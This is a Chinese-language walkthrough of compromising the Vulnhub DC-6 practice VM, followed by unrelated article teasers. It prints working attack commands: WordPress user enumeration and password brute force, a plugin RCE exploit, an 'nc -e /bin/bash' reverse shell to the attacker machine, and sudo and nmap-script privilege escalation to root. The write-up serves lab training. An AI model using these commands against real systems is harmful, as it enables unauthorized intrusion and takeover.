Vulnhub靶场DC-6

攻击机192.168.223.128
靶机192.168.223.134
主机发现:nmap -sP 192.168.223.0/24
在这里插入图片描述

端口扫描 nmap -sV -p- -A 192.168.223.134
在这里插入图片描述

开启了22 80端口,80是apache 2.4.25
先进入web界面看一下
用ip进不去,应该被重定向到wordy.com
vim /etc/hosts 加上 192.168.223.134 wordy
在这里插入图片描述

又是一个WP CMS,用wpscan搜一下漏洞

wpscan --url http://wordy/  

在这里插入图片描述

并没有扫到什么东西。
界面看了一下也没有什么有用信息,扫一下目录dirsearch -u http://wordy/
在这里插入图片描述

好像只有登录有用
在这里插入图片描述

用户名用wpscan枚举一下

wpscan --url http://wordy -e u

在这里插入图片描述

有admin,sarah graham mark jens五个账户
保存到一个user字典
但是密码用什么字典呢,苦想了半天没找到线索,看了别人wp,原来题目描述的时候有个clue

在这里插入图片描述

提示要用rockyou.txt这个字典,用wpscan爆破一下

wpscan --url http://wordy -U user.txt -P /usr/share/wordlists/rockyou.txt

这个字典我没解压,解压一下

gzip -d rockyou.txt.gz

在这里插入图片描述

爆破时候我才注意到字典太大了,忘记提示里面有个操作

这样生成了一个简单点的字典
再爆破wpscan --url http://wordy -U user.txt -P passwords.txt
在这里插入图片描述

爆破出来一组密码
mark helpdesk01
登录后台发现
这个wp用了一个插件 activity monitor
在这里插入图片描述

搜一下这插件有没有漏洞

searchsploit activity monitor

在这里插入图片描述

用50110.py这个rce
在这里插入图片描述

拿到shell
这个不太稳定,我们再反弹到攻击机上
攻击机开个监听nc -lvvp 4567
目标及执行 nc -e /bin/bash 192.168.223.128 4567
在这里插入图片描述

然后再切换到交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

mark里面有个txt文件
在这里插入图片描述

告诉了我们graham的密码GSo7isUM1D4

su到graham
看一下权限sudo -l
在这里插入图片描述

jens可以免密执行 backups.sh
看一眼backups.sh里面是什么
在这里插入图片描述

里面内容是对网站根目录打包
将/bin/bash写入backups.sh,然后用jens免密root执行backups.sh就能拿到root shell

echo “/bin/bash” >>/home/jens/backups.sh
sudo -u jens ./backups.sh

在这里插入图片描述

成功拿到jens的shell

看一下有没有免密root的文件
在这里插入图片描述

nmap可以免密root执行
nmap是可以执行脚本的,我们将shell写入脚本,nmap执行脚本的时候,我们就能拿到rootshell

echo 'os.execute("/bin/sh")' >> shell
sudo nmap --script=shell

在这里插入图片描述

拿到root权限
在这里插入图片描述

拿到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/648322.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

亚信安慧AntDB构建未来数据库典范

亚信安慧AntDB是一款数据库管理系统,它采用全球影响力大、社区繁荣、开放度高、生态增长迅速的PG内核。这款系统具有卓越的性能和稳定性,在全球范围内备受用户青睐。 与此同时,AntDB的社区也是充满活力的,用户可以在社区中交流经…

Vue中使用TypeScript:全面指南和最佳实践

🚀 欢迎来到我的专栏!专注于Vue3的实战总结和开发实践分享,让你轻松驾驭Vue3的奇妙世界! 🌈✨在这里,我将为你呈现最新的Vue3技术趋势,分享独家实用教程,并为你解析开发中的难题。让我们一起深入Vue3的魅力,助力你成为Vue大师! 👨‍💻💡不再徘徊,快来关注…

WebSocket服务端数据推送及心跳机制(Spring Boot + VUE):

文章目录 一、WebSocket简介:二、WebSocket通信原理及机制:三、WebSocket特点和优点:四、WebSocket心跳机制:五、在后端Spring Boot 和前端VUE中如何建立通信:【1】在Spring Boot 中 pom.xml中添加 websocket依赖【2】…

都学Python了,C++难道真的用不着了吗?

都学Python了,C难道真的用不着了吗? 在开始前我分享下我的经历,刚入行时遇到一个好公司和师父,给了我机会,两年时间从3k薪资涨到18k的, 我师父给了一些【C 】学习方法和资料,让我不断提升自己…

单片机介绍

本文为博主 日月同辉,与我共生,csdn原创首发。希望看完后能对你有所帮助,不足之处请指正!一起交流学习,共同进步! > 发布人:日月同辉,与我共生_单片机-CSDN博客 > 欢迎你为独创博主日月同…

关于axios给后端发送数据的问题

这里需要用的插件:qs.js,是前端给后端发送的数组,需要序列化所以要用到这个插件,这里就提取连接在这里,需要的自提,需要导如进来,别忘记了 链接:https://pan.baidu.com/s/1qyD8v9wfd…

拓展全球市场:静态代理IP成为跨境电商战略的关键工具

🤵‍♂️ 个人主页:艾派森的个人主页 ✍🏻作者简介:Python学习者 🐋 希望大家多多支持,我们一起进步!😄 如果文章对你有帮助的话, 欢迎评论 💬点赞&#x1f4…

EIGRP实验

实验大纲 一、基本配置 1.构建网络拓扑结构图 2.路由器基本配置 3.配置PC 4.测试连通性 5.保存配置文件 二、配置EIGRP 1.查看路由表 2.配置EIGRP动态路由 3.查看路由器路由表 4.测试网络连通性 5.查看所有路由器的路由协议 6.保存配置文件 三、配置OSPF 1.配置…

SpringMVC-对静态资源的访问

1.工程中加入静态资源 在webapp下创建static文件夹,此文件夹专门放入静态资源 2.使项目可以处理静态资源的请求 在SpringMVC配置文件中添加以下语句 1.引入命名空间 xmlns:mvc"http://www.springframework.org/schema/mvc" xsi:schemaLocation“http…

Influxdb系列(二)influx Cli工具操作influxdb

一、安装并使用 influx CLI 客户端下载地址:https://docs.influxdata.com/influxdb/v2/tools/influx-cli/ [root192 bin]# tar -xvzf influxdb2-client-2.7.3-linux-amd64.tar.gz [root192 bin]# cp influx /usr/local/bin/二、客户端方式创建用户 相关的官网地址…

HNSW算法

From: HNSW算法(nsmlib/hnswlib)-CSDN博客HNSW算法的基本原理及使用 - 知乎 HNSW是一种广泛使用的ANN图索引结构,包括DiskANN、DF-GAS、SmartSSD等。本文档主要总结HNSW的结构与工作流程,便于后期研究其工作流程在迁移到CSD中存在的I/O问题…

JVM篇----第八篇

系列文章目录 文章目录 系列文章目录前言一、标记清除算法( Mark-Sweep)二、复制算法(copying)三、标记整理算法(Mark-Compact)前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分…

华媒舍:15种媒体发稿推广的创意理念与案例分析

媒体发稿已经成为推广知名品牌、产品与服务关键方式之一。怎样通过媒体发稿提升曝光度和吸引住受众却是一个挑战。下面我们就详细介绍15种创意理念和案例分析,帮助你更好地进行新闻媒体发稿推广。 1.造就日常生活小故事通过展示真实用户故事和感受,读者对…

Java实现APK检测管理系统 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 开放平台模块2.3 软件档案模块2.4 软件检测模块2.5 软件举报模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 开放平台表3.2.2 软件档案表3.2.3 软件检测表3.2.4 软件举报表 四、系统展示五、核心代…

Redis 线程模型

更多内容,前往个人博客 一、概述 【1】Redis 是基于 Reactor 模式开发的网络事件处理器:这个处理器被称为文件事件处理器(file event handler),这个文件事件处理器是单线程的,所以 Redis 才叫做单线程的模型…

Unity 责任链模式(实例详解)

文章目录 示例1:游戏事件处理系统示例2:UI消息处理链示例3:游戏内物理碰撞响应链示例4:AI决策链示例5:场景切换责任链示例6:输入命令处理链 责任链模式(Chain of Responsibility)在U…

SpringBoot01

一、SpringBoot项目中常见的依赖 1.1、spring-boot-starter-parent 这个是SpringBoot项目必须导入的依赖,这个父模块内部定义了springboot整合各个技术的依赖版本,降低版本的冲突。 <parent><artifactId>spring-boot-starter-parent</artifactId><group…

玩转未来:Sui游戏峰会将于3月19日亮相GDC

Sui将在今年三月份的旧金山游戏开发者大会&#xff08;Game Developer Conference, GDC&#xff09;上推出其首个重大游戏活动&#xff0c;展示其为独立游戏到3A游戏提供动力&#xff0c;并为游戏开发人员开启吸引新玩家参与的能力。“Play Beyond&#xff1a;Sui游戏峰会”&am…

XSS靶场练习(pikachu和dvwa)

Pikachu靶场xss练习 反射型xss(get) 输入123发现被直接插入到了html中&#xff0c;而且输入框有字符长度限制 在url中构造payload:<script>alert(123)</script> 反射型xss(post) 查看源码发现登录界面没有任何机会&#xff1b;登录后输入123发现和xss(get)写入位…

css display 左右对齐 技巧

.list_number{ display: flex; } .list_name_number{ width:100px; } //左边固定width .list_name_type{ //右边给flex:2 自动撑开 flex:2; }